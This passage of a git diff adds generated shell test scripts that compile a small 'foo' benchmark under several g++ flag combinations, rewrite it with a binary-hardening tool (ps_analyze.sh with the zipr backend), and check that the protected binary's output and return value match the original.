+# g++ -w $start_files $arch $opt $pic $fp $debug test.cpp foo.cpp
+# g++ -w $start_files $arch $opt $pic $fp $debug sample.cpp
+
+# figure this out!!!
+test_binary=orig.$$
+analyzed_binary=${test_binary}.zipr
+
+g++ -w ${testloc}/$BENCHNAME.cpp  ${testloc}/test.cpp $COMPFLAGS -o ${test_binary} || cleanup 2 "g++ failed"
+
+# sanity check the compile
+if [ ! -f ${test_binary} ]; then cleanup 3 "Failed to create ${test_binary}"; fi
+
+# make sure that the test_output directory exists
+mkdir -p test_output
+
+# run the un-analyzed binary and save for comparison
+./${test_binary} 3 > test_output/${test_binary}.out
+
+# save the original retval
+orig_retval=$?
+
+#  analyze
+$PEASOUP_HOME/tools/ps_analyze.sh ${test_binary}  ${analyzed_binary} --step ilr=on  --backend zipr || cleanup 4 "ps_analyze failed"
+
+# run program 
+./${analyzed_binary} 3 > test_output/${analyzed_binary}.out
+retval=$?
+
+# check the retval diff but it's not necessarily a problem?
+if [ ${orig_retval} -ne ${retval} ]; then
+	echo "original retval: ${orig_retval} does not match analyzed retval: ${retval}"
+fi
+
+# diff the output
+diff test_output/${test_binary}.out test_output/${analyzed_binary}.out
+if [ $? -ne 0 ]; then
+	echo "The original and analyzed outputs differ."
+fi
+
+# report
+report_test_result $outfile $retval "Return value of protected run was: $retval" || cleanup 6 "Reporting failed?"
+
+# cleanup
+cleanup 0 "Success!"
diff --git a/peasoup_examples/tests/test_scripts/foo_tests/foo.zipr.startfile.no_optflag.no_pic.-fomit-frame-pointer.-g.-m32.sh b/peasoup_examples/tests/test_scripts/foo_tests/foo.zipr.startfile.no_optflag.no_pic.-fomit-frame-pointer.-g.-m32.sh
new file mode 100644
index 0000000000000000000000000000000000000000..76e66f0cf1b59fe999270fc06a7310305883c27c
--- /dev/null
+++ b/peasoup_examples/tests/test_scripts/foo_tests/foo.zipr.startfile.no_optflag.no_pic.-fomit-frame-pointer.-g.-m32.sh
@@ -0,0 +1,136 @@
+#!/bin/sh -x
+
+# Assumptions:
+# 	$1 is the full pathname to output file
+
+
+# For PEASOUP Test Data Manager, Required XML fields are
+# name - name of the test
+# host - name of the host where the test was run
+# project - project name
+# date_time - date time in specific format date +%FT%R:%S
+# key_value pairs, any number
+#   may include result, user, host platform, build platform
+
+
+# Fixed attributes
+# ATTRIBUTE ModDep=diablo_toolchain
+# ATTRIBUTE ModDep=binutils-2.19
+# ATTRIBUTE ModDep=idaproCur
+# ATTRIBUTE ModDep=idaproCur_sdk
+# ATTRIBUTE ModDep=peasoup_examples
+# ATTRIBUTE ModDep=security_transforms
+# ATTRIBUTE ModDep=SMPStaticAnalyzer
+# ATTRIBUTE ModDep=strata
+# ATTRIBUTE ModDep=stratafier
+# ATTRIBUTE ModDep=zipr
+# ATTRIBUTE ModDep=zipr_sdk
+# ATTRIBUTE ModDep=zipr_callbacks
+# ATTRIBUTE ModDep=zipr_push64_reloc_plugin
+# ATTRIBUTE ModDep=zipr_scfi_plugin
+# ATTRIBUTE ModDep=zipr_install
+# ATTRIBUTE TestsWhat=lang_C
+# ATTRIBUTE TestsWhat=zipr
+# ATTRIBUTE OS=linux
+# ATTRIBUTE BenchmarkSuite=peasoup_micro_tests
+# ATTRIBUTE Compiler=g++
+# ATTRIBUTE CompilerFlags="      -fomit-frame-pointer -g -m32"
+
+
+# Filled in by test generator
+# ATTRIBUTE Arch=x86_32
+# ATTRIBUTE TestName="ps_micro_test foo"
+# ATTRIBUTE BenchmarkName=foo
+
+BENCHNAME=foo
+COMPFLAGS="      -fomit-frame-pointer -g -m32"
+
+outfile=$1
+
+export LD_LIBRARY_PATH=$LD_LIBRARY_PATH:$STRATA/lib/
+
+cleanup()
+{
+	exit_code=$1
+	shift
+	msg=$*
+
+	if [ $exit_code -ne 0 ]; then 
+		report_test_failure $outfile "Intermediate step failed, exit code is $exit_code, msg='$msg'"
+	fi
+
+	if [ -z $NO_CLEANUP ]; then
+		rm -rf peasoup_executable*
+
+		# remove intermediate results directory
+		rm -rf test_output
+		rm $test_binary $analyzed_binary
+	fi
+
+	exit $exit_code
+}
+
+# suck in utils
+. ${TEST_HARNESS_HOME}/test_utils.sh || cleanup 1 "Cannot source utils file"
+
+assert_test_args $*
+assert_test_env $outfile STRATAFIER STRATA TOOLCHAIN STRATAFIER_OBJCOPY THTTPD_HOME THTTPD_INSTALL ZIPR_HOME ZIPR_INSTALL ZIPR_CALLBACKS ZIPR_SDK ZIPR_SCFI_PLUGIN PEASOUP_HOME SMPSA_HOME IDAROOTCUR IDASDKCUR SECURITY_TRANSFORMS_HOME
+
+# set up IDA environment variables
+export IDAROOT=$IDAROOTCUR
+export IDASDK=$IDASDKCUR
+
+# set up IRDB variables
+export PGHOST=127.0.0.1
+export PGUSER=$USER
+export PGPORT=5432
+export PGDATABASE=peasoup_$USER
+
+# path to source
+testloc=${PEASOUP_HOME}/tests/test_scripts
+
+# compile  
+# g++ -w $start_files $arch $opt $pic $fp $debug test.cpp foo.cpp
+# g++ -w $start_files $arch $opt $pic $fp $debug sample.cpp
+
+# figure this out!!!
+test_binary=orig.$$
+analyzed_binary=${test_binary}.zipr
+
+g++ -w ${testloc}/$BENCHNAME.cpp  ${testloc}/test.cpp $COMPFLAGS -o ${test_binary} || cleanup 2 "g++ failed"
+
+# sanity check the compile
+if [ ! -f ${test_binary} ]; then cleanup 3 "Failed to create ${test_binary}"; fi
+
+# make sure that the test_output directory exists
+mkdir -p test_output
+
+# run the un-analyzed binary and save for comparison
+./${test_binary} 3 > test_output/${test_binary}.out
+
+# save the original retval
+orig_retval=$?
+
+#  analyze
+$PEASOUP_HOME/tools/ps_analyze.sh ${test_binary}  ${analyzed_binary} --step ilr=on  --backend zipr || cleanup 4 "ps_analyze failed"
+
+# run program 
+./${analyzed_binary} 3 > test_output/${analyzed_binary}.out
+retval=$?
+
+# check the retval diff but it's not necessarily a problem?
+if [ ${orig_retval} -ne ${retval} ]; then
+	echo "original retval: ${orig_retval} does not match analyzed retval: ${retval}"
+fi
+
+# diff the output
+diff test_output/${test_binary}.out test_output/${analyzed_binary}.out
+if [ $? -ne 0 ]; then
+	echo "The original and analyzed outputs differ."
+fi
+
+# report
+report_test_result $outfile $retval "Return value of protected run was: $retval" || cleanup 6 "Reporting failed?"
+
+# cleanup
+cleanup 0 "Success!"
diff --git a/peasoup_examples/tests/test_scripts/foo_tests/foo.zipr.startfile.no_optflag.no_pic.-fomit-frame-pointer.-g.-m64.sh b/peasoup_examples/tests/test_scripts/foo_tests/foo.zipr.startfile.no_optflag.no_pic.-fomit-frame-pointer.-g.-m64.sh
new file mode 100644
index 0000000000000000000000000000000000000000..f1d821f494bf20901c088b9c4ff336decf44a16c
--- /dev/null
+++ b/peasoup_examples/tests/test_scripts/foo_tests/foo.zipr.startfile.no_optflag.no_pic.-fomit-frame-pointer.-g.-m64.sh
@@ -0,0 +1,136 @@
+#!/bin/sh -x
+
+# Assumptions:
+# 	$1 is the full pathname to output file
+
+
+# For PEASOUP Test Data Manager, Required XML fields are
+# name - name of the test
+# host - name of the host where the test was run
+# project - project name
+# date_time - date time in specific format date +%FT%R:%S
+# key_value pairs, any number
+#   may include result, user, host platform, build platform
+
+
+# Fixed attributes
+# ATTRIBUTE ModDep=diablo_toolchain
+# ATTRIBUTE ModDep=binutils-2.19
+# ATTRIBUTE ModDep=idaproCur
+# ATTRIBUTE ModDep=idaproCur_sdk
+# ATTRIBUTE ModDep=peasoup_examples
+# ATTRIBUTE ModDep=security_transforms
+# ATTRIBUTE ModDep=SMPStaticAnalyzer
+# ATTRIBUTE ModDep=strata
+# ATTRIBUTE ModDep=stratafier
+# ATTRIBUTE ModDep=zipr
+# ATTRIBUTE ModDep=zipr_sdk
+# ATTRIBUTE ModDep=zipr_callbacks
+# ATTRIBUTE ModDep=zipr_push64_reloc_plugin
+# ATTRIBUTE ModDep=zipr_scfi_plugin
+# ATTRIBUTE ModDep=zipr_install
+# ATTRIBUTE TestsWhat=lang_C
+# ATTRIBUTE TestsWhat=zipr
+# ATTRIBUTE OS=linux
+# ATTRIBUTE BenchmarkSuite=peasoup_micro_tests
+# ATTRIBUTE Compiler=g++
+# ATTRIBUTE CompilerFlags="      -fomit-frame-pointer -g -m64"
+
+
+# Filled in by test generator
+# ATTRIBUTE Arch=x86_64
+# ATTRIBUTE TestName="ps_micro_test foo"
+# ATTRIBUTE BenchmarkName=foo
+
+BENCHNAME=foo
+COMPFLAGS="      -fomit-frame-pointer -g -m64"
+
+outfile=$1
+
+export LD_LIBRARY_PATH=$LD_LIBRARY_PATH:$STRATA/lib/
+
+cleanup()
+{
+	exit_code=$1
+	shift
+	msg=$*
+
+	if [ $exit_code -ne 0 ]; then 
+		report_test_failure $outfile "Intermediate step failed, exit code is $exit_code, msg='$msg'"
+	fi
+
+	if [ -z $NO_CLEANUP ]; then
+		rm -rf peasoup_executable*
+
+		# remove intermediate results directory
+		rm -rf test_output
+		rm $test_binary $analyzed_binary
+	fi
+
+	exit $exit_code
+}
+
+# suck in utils
+. ${TEST_HARNESS_HOME}/test_utils.sh || cleanup 1 "Cannot source utils file"
+
+assert_test_args $*
+assert_test_env $outfile STRATAFIER STRATA TOOLCHAIN STRATAFIER_OBJCOPY THTTPD_HOME THTTPD_INSTALL ZIPR_HOME ZIPR_INSTALL ZIPR_CALLBACKS ZIPR_SDK ZIPR_SCFI_PLUGIN PEASOUP_HOME SMPSA_HOME IDAROOTCUR IDASDKCUR SECURITY_TRANSFORMS_HOME
+
+# set up IDA environment variables
+export IDAROOT=$IDAROOTCUR
+export IDASDK=$IDASDKCUR
+
+# set up IRDB variables
+export PGHOST=127.0.0.1
+export PGUSER=$USER
+export PGPORT=5432
+export PGDATABASE=peasoup_$USER
+
+# path to source
+testloc=${PEASOUP_HOME}/tests/test_scripts
+
+# compile  
+# g++ -w $start_files $arch $opt $pic $fp $debug test.cpp foo.cpp
+# g++ -w $start_files $arch $opt $pic $fp $debug sample.cpp
+
+# figure this out!!!
+test_binary=orig.$$
+analyzed_binary=${test_binary}.zipr
+
+g++ -w ${testloc}/$BENCHNAME.cpp  ${testloc}/test.cpp $COMPFLAGS -o ${test_binary} || cleanup 2 "g++ failed"
+
+# sanity check the compile
+if [ ! -f ${test_binary} ]; then cleanup 3 "Failed to create ${test_binary}"; fi
+
+# make sure that the test_output directory exists
+mkdir -p test_output
+
+# run the un-analyzed binary and save for comparison
+./${test_binary} 3 > test_output/${test_binary}.out
+
+# save the original retval
+orig_retval=$?
+
+#  analyze
+$PEASOUP_HOME/tools/ps_analyze.sh ${test_binary}  ${analyzed_binary} --step ilr=on  --backend zipr || cleanup 4 "ps_analyze failed"
+
+# run program 
+./${analyzed_binary} 3 > test_output/${analyzed_binary}.out
+retval=$?
+
+# check the retval diff but it's not necessarily a problem?
+if [ ${orig_retval} -ne ${retval} ]; then
+	echo "original retval: ${orig_retval} does not match analyzed retval: ${retval}"
+fi
+
+# diff the output
+diff test_output/${test_binary}.out test_output/${analyzed_binary}.out
+if [ $? -ne 0 ]; then
+	echo "The original and analyzed outputs differ."
+fi
+
+# report
+report_test_result $outfile $retval "Return value of protected run was: $retval" || cleanup 6 "Reporting failed?"
+
+# cleanup
+cleanup 0 "Success!"
diff --git a/peasoup_examples/tests/test_scripts/foo_tests/foo.zipr.startfile.no_optflag.no_pic.-fomit-frame-pointer.no_debug.-m32.sh b/peasoup_examples/tests/test_scripts/foo_tests/foo.zipr.startfile.no_optflag.no_pic.-fomit-frame-pointer.no_debug.-m32.sh
new file mode 100644
index 0000000000000000000000000000000000000000..9d1b11b157e81eeb631a6c986b10c2f932ab5875
--- /dev/null
+++ b/peasoup_examples/tests/test_scripts/foo_tests/foo.zipr.startfile.no_optflag.no_pic.-fomit-frame-pointer.no_debug.-m32.sh
@@ -0,0 +1,136 @@
+#!/bin/sh -x
+
+# Assumptions:
+# 	$1 is the full pathname to output file
+
+
+# For PEASOUP Test Data Manager, Required XML fields are
+# name - name of the test
+# host - name of the host where the test was run
+# project - project name
+# date_time - date time in specific format date +%FT%R:%S
+# key_value pairs, any number
+#   may include result, user, host platform, build platform
+
+
+# Fixed attributes
+# ATTRIBUTE ModDep=diablo_toolchain
+# ATTRIBUTE ModDep=binutils-2.19
+# ATTRIBUTE ModDep=idaproCur
+# ATTRIBUTE ModDep=idaproCur_sdk
+# ATTRIBUTE ModDep=peasoup_examples
+# ATTRIBUTE ModDep=security_transforms
+# ATTRIBUTE ModDep=SMPStaticAnalyzer
+# ATTRIBUTE ModDep=strata
+# ATTRIBUTE ModDep=stratafier
+# ATTRIBUTE ModDep=zipr
+# ATTRIBUTE ModDep=zipr_sdk
+# ATTRIBUTE ModDep=zipr_callbacks
+# ATTRIBUTE ModDep=zipr_push64_reloc_plugin
+# ATTRIBUTE ModDep=zipr_scfi_plugin
+# ATTRIBUTE ModDep=zipr_install
+# ATTRIBUTE TestsWhat=lang_C
+# ATTRIBUTE TestsWhat=zipr
+# ATTRIBUTE OS=linux
+# ATTRIBUTE BenchmarkSuite=peasoup_micro_tests
+# ATTRIBUTE Compiler=g++
+# ATTRIBUTE CompilerFlags="      -fomit-frame-pointer   -m32"
+
+
+# Filled in by test generator
+# ATTRIBUTE Arch=x86_32
+# ATTRIBUTE TestName="ps_micro_test foo"
+# ATTRIBUTE BenchmarkName=foo
+
+BENCHNAME=foo
+COMPFLAGS="      -fomit-frame-pointer   -m32"
+
+outfile=$1
+
+export LD_LIBRARY_PATH=$LD_LIBRARY_PATH:$STRATA/lib/
+
+cleanup()
+{
+	exit_code=$1
+	shift
+	msg=$*
+
+	if [ $exit_code -ne 0 ]; then 
+		report_test_failure $outfile "Intermediate step failed, exit code is $exit_code, msg='$msg'"
+	fi
+
+	if [ -z $NO_CLEANUP ]; then
+		rm -rf peasoup_executable*
+
+		# remove intermediate results directory
+		rm -rf test_output
+		rm $test_binary $analyzed_binary
+	fi
+
+	exit $exit_code
+}
+
+# suck in utils
+. ${TEST_HARNESS_HOME}/test_utils.sh || cleanup 1 "Cannot source utils file"
+
+assert_test_args $*
+assert_test_env $outfile STRATAFIER STRATA TOOLCHAIN STRATAFIER_OBJCOPY THTTPD_HOME THTTPD_INSTALL ZIPR_HOME ZIPR_INSTALL ZIPR_CALLBACKS ZIPR_SDK ZIPR_SCFI_PLUGIN PEASOUP_HOME SMPSA_HOME IDAROOTCUR IDASDKCUR SECURITY_TRANSFORMS_HOME
+
+# set up IDA environment variables
+export IDAROOT=$IDAROOTCUR
+export IDASDK=$IDASDKCUR
+
+# set up IRDB variables
+export PGHOST=127.0.0.1
+export PGUSER=$USER
+export PGPORT=5432
+export PGDATABASE=peasoup_$USER
+
+# path to source
+testloc=${PEASOUP_HOME}/tests/test_scripts
+
+# compile  
+# g++ -w $start_files $arch $opt $pic $fp $debug test.cpp foo.cpp
+# g++ -w $start_files $arch $opt $pic $fp $debug sample.cpp
+
+# figure this out!!!
+test_binary=orig.$$
+analyzed_binary=${test_binary}.zipr
+
+g++ -w ${testloc}/$BENCHNAME.cpp  ${testloc}/test.cpp $COMPFLAGS -o ${test_binary} || cleanup 2 "g++ failed"
+
+# sanity check the compile
+if [ ! -f ${test_binary} ]; then cleanup 3 "Failed to create ${test_binary}"; fi
+
+# make sure that the test_output directory exists
+mkdir -p test_output
+
+# run the un-analyzed binary and save for comparison
+./${test_binary} 3 > test_output/${test_binary}.out
+
+# save the original retval
+orig_retval=$?
+
+#  analyze
+$PEASOUP_HOME/tools/ps_analyze.sh ${test_binary}  ${analyzed_binary} --step ilr=on  --backend zipr || cleanup 4 "ps_analyze failed"
+
+# run program 
+./${analyzed_binary} 3 > test_output/${analyzed_binary}.out
+retval=$?
+
+# check the retval diff but it's not necessarily a problem?
+if [ ${orig_retval} -ne ${retval} ]; then
+	echo "original retval: ${orig_retval} does not match analyzed retval: ${retval}"
+fi
+
+# diff the output
+diff test_output/${test_binary}.out test_output/${analyzed_binary}.out
+if [ $? -ne 0 ]; then
+	echo "The original and analyzed outputs differ."
+fi
+
+# report
+report_test_result $outfile $retval "Return value of protected run was: $retval" || cleanup 6 "Reporting failed?"
+
+# cleanup
+cleanup 0 "Success!"
diff --git a/peasoup_examples/tests/test_scripts/foo_tests/foo.zipr.startfile.no_optflag.no_pic.-fomit-frame-pointer.no_debug.-m64.sh b/peasoup_examples/tests/test_scripts/foo_tests/foo.zipr.startfile.no_optflag.no_pic.-fomit-frame-pointer.no_debug.-m64.sh
new file mode 100644
index 0000000000000000000000000000000000000000..307fc3109fdcc733d0a20dbf160425779c33f114
--- /dev/null
+++ b/peasoup_examples/tests/test_scripts/foo_tests/foo.zipr.startfile.no_optflag.no_pic.-fomit-frame-pointer.no_debug.-m64.sh
@@ -0,0 +1,136 @@
+#!/bin/sh -x
+
+# Assumptions:
+# 	$1 is the full pathname to output file
+
+
+# For PEASOUP Test Data Manager, Required XML fields are
+# name - name of the test
+# host - name of the host where the test was run
+# project - project name
+# date_time - date time in specific format date +%FT%R:%S
+# key_value pairs, any number
+#   may include result, user, host platform, build platform
+
+
+# Fixed attributes
+# ATTRIBUTE ModDep=diablo_toolchain
+# ATTRIBUTE ModDep=binutils-2.19
+# ATTRIBUTE ModDep=idaproCur
+# ATTRIBUTE ModDep=idaproCur_sdk
+# ATTRIBUTE ModDep=peasoup_examples
+# ATTRIBUTE ModDep=security_transforms
+# ATTRIBUTE ModDep=SMPStaticAnalyzer
+# ATTRIBUTE ModDep=strata
+# ATTRIBUTE ModDep=stratafier
+# ATTRIBUTE ModDep=zipr
+# ATTRIBUTE ModDep=zipr_sdk
+# ATTRIBUTE ModDep=zipr_callbacks
+# ATTRIBUTE ModDep=zipr_push64_reloc_plugin
+# ATTRIBUTE ModDep=zipr_scfi_plugin
+# ATTRIBUTE ModDep=zipr_install
+# ATTRIBUTE TestsWhat=lang_C
+# ATTRIBUTE TestsWhat=zipr
+# ATTRIBUTE OS=linux
+# ATTRIBUTE BenchmarkSuite=peasoup_micro_tests
+# ATTRIBUTE Compiler=g++
+# ATTRIBUTE CompilerFlags="      -fomit-frame-pointer   -m64"
+
+
+# Filled in by test generator
+# ATTRIBUTE Arch=x86_64
+# ATTRIBUTE TestName="ps_micro_test foo"
+# ATTRIBUTE BenchmarkName=foo
+
+BENCHNAME=foo
+COMPFLAGS="      -fomit-frame-pointer   -m64"
+
+outfile=$1
+
+export LD_LIBRARY_PATH=$LD_LIBRARY_PATH:$STRATA/lib/
+
+cleanup()
+{
+	exit_code=$1
+	shift
+	msg=$*
+
+	if [ $exit_code -ne 0 ]; then 
+		report_test_failure $outfile "Intermediate step failed, exit code is $exit_code, msg='$msg'"
+	fi
+
+	if [ -z $NO_CLEANUP ]; then
+		rm -rf peasoup_executable*
+
+		# remove intermediate results directory
+		rm -rf test_output
+		rm $test_binary $analyzed_binary
+	fi
+
+	exit $exit_code
+}
+
+# suck in utils
+. ${TEST_HARNESS_HOME}/test_utils.sh || cleanup 1 "Cannot source utils file"
+
+assert_test_args $*
+assert_test_env $outfile STRATAFIER STRATA TOOLCHAIN STRATAFIER_OBJCOPY THTTPD_HOME THTTPD_INSTALL ZIPR_HOME ZIPR_INSTALL ZIPR_CALLBACKS ZIPR_SDK ZIPR_SCFI_PLUGIN PEASOUP_HOME SMPSA_HOME IDAROOTCUR IDASDKCUR SECURITY_TRANSFORMS_HOME
+
+# set up IDA environment variables
+export IDAROOT=$IDAROOTCUR
+export IDASDK=$IDASDKCUR
+
+# set up IRDB variables
+export PGHOST=127.0.0.1
+export PGUSER=$USER
+export PGPORT=5432
+export PGDATABASE=peasoup_$USER
+
+# path to source
+testloc=${PEASOUP_HOME}/tests/test_scripts
+
+# compile  
+# g++ -w $start_files $arch $opt $pic $fp $debug test.cpp foo.cpp
+# g++ -w $start_files $arch $opt $pic $fp $debug sample.cpp
+
+# figure this out!!!
+test_binary=orig.$$
+analyzed_binary=${test_binary}.zipr
+
+g++ -w ${testloc}/$BENCHNAME.cpp  ${testloc}/test.cpp $COMPFLAGS -o ${test_binary} || cleanup 2 "g++ failed"
+
+# sanity check the compile
+if [ ! -f ${test_binary} ]; then cleanup 3 "Failed to create ${test_binary}"; fi
+
+# make sure that the test_output directory exists
+mkdir -p test_output
+
+# run the un-analyzed binary and save for comparison
+./${test_binary} 3 > test_output/${test_binary}.out
+
+# save the original retval
+orig_retval=$?
+
+#  analyze
+$PEASOUP_HOME/tools/ps_analyze.sh ${test_binary}  ${analyzed_binary} --step ilr=on  --backend zipr || cleanup 4 "ps_analyze failed"
+
+# run program 
+./${analyzed_binary} 3 > test_output/${analyzed_binary}.out
+retval=$?
+
+# check the retval diff but it's not necessarily a problem?
+if [ ${orig_retval} -ne ${retval} ]; then
+	echo "original retval: ${orig_retval} does not match analyzed retval: ${retval}"
+fi
+
+# diff the output
+diff test_output/${test_binary}.out test_output/${analyzed_binary}.out
+if [ $? -ne 0 ]; then
+	echo "The original and analyzed outputs differ."
+fi
+
+# report
+report_test_result $outfile $retval "Return value of protected run was: $retval" || cleanup 6 "Reporting failed?"
+
+# cleanup
+cleanup 0 "Success!"
diff --git a/peasoup_examples/tests/test_scripts/foo_tests/foo.zipr.startfile.no_optflag.no_pic.no_omit-fp.-g.-m32.sh b/peasoup_examples/tests/test_scripts/foo_tests/foo.zipr.startfile.no_optflag.no_pic.no_omit-fp.-g.-m32.sh
new file mode 100644
index 0000000000000000000000000000000000000000..1f6ef5fb8b52365be20b3e3fa9aa240e1c29b536
--- /dev/null
+++ b/peasoup_examples/tests/test_scripts/foo_tests/foo.zipr.startfile.no_optflag.no_pic.no_omit-fp.-g.-m32.sh
@@ -0,0 +1,136 @@
+#!/bin/sh -x
+
+# Assumptions:
+# 	$1 is the full pathname to output file
+
+
+# For PEASOUP Test Data Manager, Required XML fields are
+# name - name of the test
+# host - name of the host where the test was run
+# project - project name
+# date_time - date time in specific format date +%FT%R:%S
+# key_value pairs, any number
+#   may include result, user, host platform, build platform
+
+
+# Fixed attributes
+# ATTRIBUTE ModDep=diablo_toolchain
+# ATTRIBUTE ModDep=binutils-2.19
+# ATTRIBUTE ModDep=idaproCur
+# ATTRIBUTE ModDep=idaproCur_sdk
+# ATTRIBUTE ModDep=peasoup_examples
+# ATTRIBUTE ModDep=security_transforms
+# ATTRIBUTE ModDep=SMPStaticAnalyzer
+# ATTRIBUTE ModDep=strata
+# ATTRIBUTE ModDep=stratafier
+# ATTRIBUTE ModDep=zipr
+# ATTRIBUTE ModDep=zipr_sdk
+# ATTRIBUTE ModDep=zipr_callbacks
+# ATTRIBUTE ModDep=zipr_push64_reloc_plugin
+# ATTRIBUTE ModDep=zipr_scfi_plugin
+# ATTRIBUTE ModDep=zipr_install
+# ATTRIBUTE TestsWhat=lang_C
+# ATTRIBUTE TestsWhat=zipr
+# ATTRIBUTE OS=linux
+# ATTRIBUTE BenchmarkSuite=peasoup_micro_tests
+# ATTRIBUTE Compiler=g++
+# ATTRIBUTE CompilerFlags="        -g -m32"
+
+
+# Filled in by test generator
+# ATTRIBUTE Arch=x86_32
+# ATTRIBUTE TestName="ps_micro_test foo"
+# ATTRIBUTE BenchmarkName=foo
+
+BENCHNAME=foo
+COMPFLAGS="        -g -m32"
+
+outfile=$1
+
+export LD_LIBRARY_PATH=$LD_LIBRARY_PATH:$STRATA/lib/
+
+cleanup()
+{
+	exit_code=$1
+	shift
+	msg=$*
+
+	if [ $exit_code -ne 0 ]; then 
+		report_test_failure $outfile "Intermediate step failed, exit code is $exit_code, msg='$msg'"
+	fi
+
+	if [ -z $NO_CLEANUP ]; then
+		rm -rf peasoup_executable*
+
+		# remove intermediate results directory
+		rm -rf test_output
+		rm $test_binary $analyzed_binary
+	fi
+
+	exit $exit_code
+}
+
+# suck in utils
+. ${TEST_HARNESS_HOME}/test_utils.sh || cleanup 1 "Cannot source utils file"
+
+assert_test_args $*
+assert_test_env $outfile STRATAFIER STRATA TOOLCHAIN STRATAFIER_OBJCOPY THTTPD_HOME THTTPD_INSTALL ZIPR_HOME ZIPR_INSTALL ZIPR_CALLBACKS ZIPR_SDK ZIPR_SCFI_PLUGIN PEASOUP_HOME SMPSA_HOME IDAROOTCUR IDASDKCUR SECURITY_TRANSFORMS_HOME
+
+# set up IDA environment variables
+export IDAROOT=$IDAROOTCUR
+export IDASDK=$IDASDKCUR
+
+# set up IRDB variables
+export PGHOST=127.0.0.1
+export PGUSER=$USER
+export PGPORT=5432
+export PGDATABASE=peasoup_$USER
+
+# path to source
+testloc=${PEASOUP_HOME}/tests/test_scripts
+
+# compile  
+# g++ -w $start_files $arch $opt $pic $fp $debug test.cpp foo.cpp
+# g++ -w $start_files $arch $opt $pic $fp $debug sample.cpp
+
+# figure this out!!!
+test_binary=orig.$$
+analyzed_binary=${test_binary}.zipr
+
+g++ -w ${testloc}/$BENCHNAME.cpp  ${testloc}/test.cpp $COMPFLAGS -o ${test_binary} || cleanup 2 "g++ failed"
+
+# sanity check the compile
+if [ ! -f ${test_binary} ]; then cleanup 3 "Failed to create ${test_binary}"; fi
+
+# make sure that the test_output directory exists
+mkdir -p test_output
+
+# run the un-analyzed binary and save for comparison
+./${test_binary} 3 > test_output/${test_binary}.out
+
+# save the original retval
+orig_retval=$?
+
+#  analyze
+$PEASOUP_HOME/tools/ps_analyze.sh ${test_binary}  ${analyzed_binary} --step ilr=on  --backend zipr || cleanup 4 "ps_analyze failed"
+
+# run program 
+./${analyzed_binary} 3 > test_output/${analyzed_binary}.out
+retval=$?
+
+# check the retval diff but it's not necessarily a problem?
+if [ ${orig_retval} -ne ${retval} ]; then
+	echo "original retval: ${orig_retval} does not match analyzed retval: ${retval}"
+fi
+
+# diff the output
+diff test_output/${test_binary}.out test_output/${analyzed_binary}.out
+if [ $? -ne 0 ]; then
+	echo "The original and analyzed outputs differ."
+fi
+
+# report
+report_test_result $outfile $retval "Return value of protected run was: $retval" || cleanup 6 "Reporting failed?"
+
+# cleanup
+cleanup 0 "Success!"
diff --git a/peasoup_examples/tests/test_scripts/foo_tests/foo.zipr.startfile.no_optflag.no_pic.no_omit-fp.-g.-m64.sh b/peasoup_examples/tests/test_scripts/foo_tests/foo.zipr.startfile.no_optflag.no_pic.no_omit-fp.-g.-m64.sh
new file mode 100644
index 0000000000000000000000000000000000000000..d362d86d536290759fcc2c95582a9771b55fc057
--- /dev/null
+++ b/peasoup_examples/tests/test_scripts/foo_tests/foo.zipr.startfile.no_optflag.no_pic.no_omit-fp.-g.-m64.sh
@@ -0,0 +1,136 @@
+#!/bin/sh -x
+
+# Assumptions:
+# 	$1 is the full pathname to output file
+
+
+# For PEASOUP Test Data Manager, Required XML fields are
+# name - name of the test
+# host - name of the host where the test was run
+# project - project name
+# date_time - date time in specific format date +%FT%R:%S
+# key_value pairs, any number
+#   may include result, user, host platform, build platform
+
+
+# Fixed attributes
+# ATTRIBUTE ModDep=diablo_toolchain
+# ATTRIBUTE ModDep=binutils-2.19
+# ATTRIBUTE ModDep=idaproCur
+# ATTRIBUTE ModDep=idaproCur_sdk
+# ATTRIBUTE ModDep=peasoup_examples
+# ATTRIBUTE ModDep=security_transforms
+# ATTRIBUTE ModDep=SMPStaticAnalyzer
+# ATTRIBUTE ModDep=strata
+# ATTRIBUTE ModDep=stratafier
+# ATTRIBUTE ModDep=zipr
+# ATTRIBUTE ModDep=zipr_sdk
+# ATTRIBUTE ModDep=zipr_callbacks
+# ATTRIBUTE ModDep=zipr_push64_reloc_plugin
+# ATTRIBUTE ModDep=zipr_scfi_plugin
+# ATTRIBUTE ModDep=zipr_install
+# ATTRIBUTE TestsWhat=lang_C
+# ATTRIBUTE TestsWhat=zipr
+# ATTRIBUTE OS=linux
+# ATTRIBUTE BenchmarkSuite=peasoup_micro_tests
+# ATTRIBUTE Compiler=g++
+# ATTRIBUTE CompilerFlags="        -g -m64"
+
+
+# Filled in by test generator
+# ATTRIBUTE Arch=x86_64
+# ATTRIBUTE TestName="ps_micro_test foo"
+# ATTRIBUTE BenchmarkName=foo
+
+BENCHNAME=foo
+COMPFLAGS="        -g -m64"
+
+outfile=$1
+
+export LD_LIBRARY_PATH=$LD_LIBRARY_PATH:$STRATA/lib/
+
+cleanup()
+{
+	exit_code=$1
+	shift
+	msg=$*
+
+	if [ $exit_code -ne 0 ]; then 
+		report_test_failure $outfile "Intermediate step failed, exit code is $exit_code, msg='$msg'"
+	fi
+
+	if [ -z $NO_CLEANUP ]; then
+		rm -rf peasoup_executable*
+
+		# remove intermediate results directory
+		rm -rf test_output
+		rm $test_binary $analyzed_binary
+	fi
+
+	exit $exit_code
+}
+
+# suck in utils
+. ${TEST_HARNESS_HOME}/test_utils.sh || cleanup 1 "Cannot source utils file"
+
+assert_test_args $*
+assert_test_env $outfile STRATAFIER STRATA TOOLCHAIN STRATAFIER_OBJCOPY THTTPD_HOME THTTPD_INSTALL ZIPR_HOME ZIPR_INSTALL ZIPR_CALLBACKS ZIPR_SDK ZIPR_SCFI_PLUGIN PEASOUP_HOME SMPSA_HOME IDAROOTCUR IDASDKCUR SECURITY_TRANSFORMS_HOME
+
+# set up IDA environment variables
+export IDAROOT=$IDAROOTCUR
+export IDASDK=$IDASDKCUR
+
+# set up IRDB variables
+export PGHOST=127.0.0.1
+export PGUSER=$USER
+export PGPORT=5432
+export PGDATABASE=peasoup_$USER
+
+# path to source
+testloc=${PEASOUP_HOME}/tests/test_scripts
+
+# compile  
+# g++ -w $start_files $arch $opt $pic $fp $debug test.cpp foo.cpp
+# g++ -w $start_files $arch $opt $pic $fp $debug sample.cpp
+
+# figure this out!!!
+test_binary=orig.$$
+analyzed_binary=${test_binary}.zipr
+
+g++ -w ${testloc}/$BENCHNAME.cpp  ${testloc}/test.cpp $COMPFLAGS -o ${test_binary} || cleanup 2 "g++ failed"
+
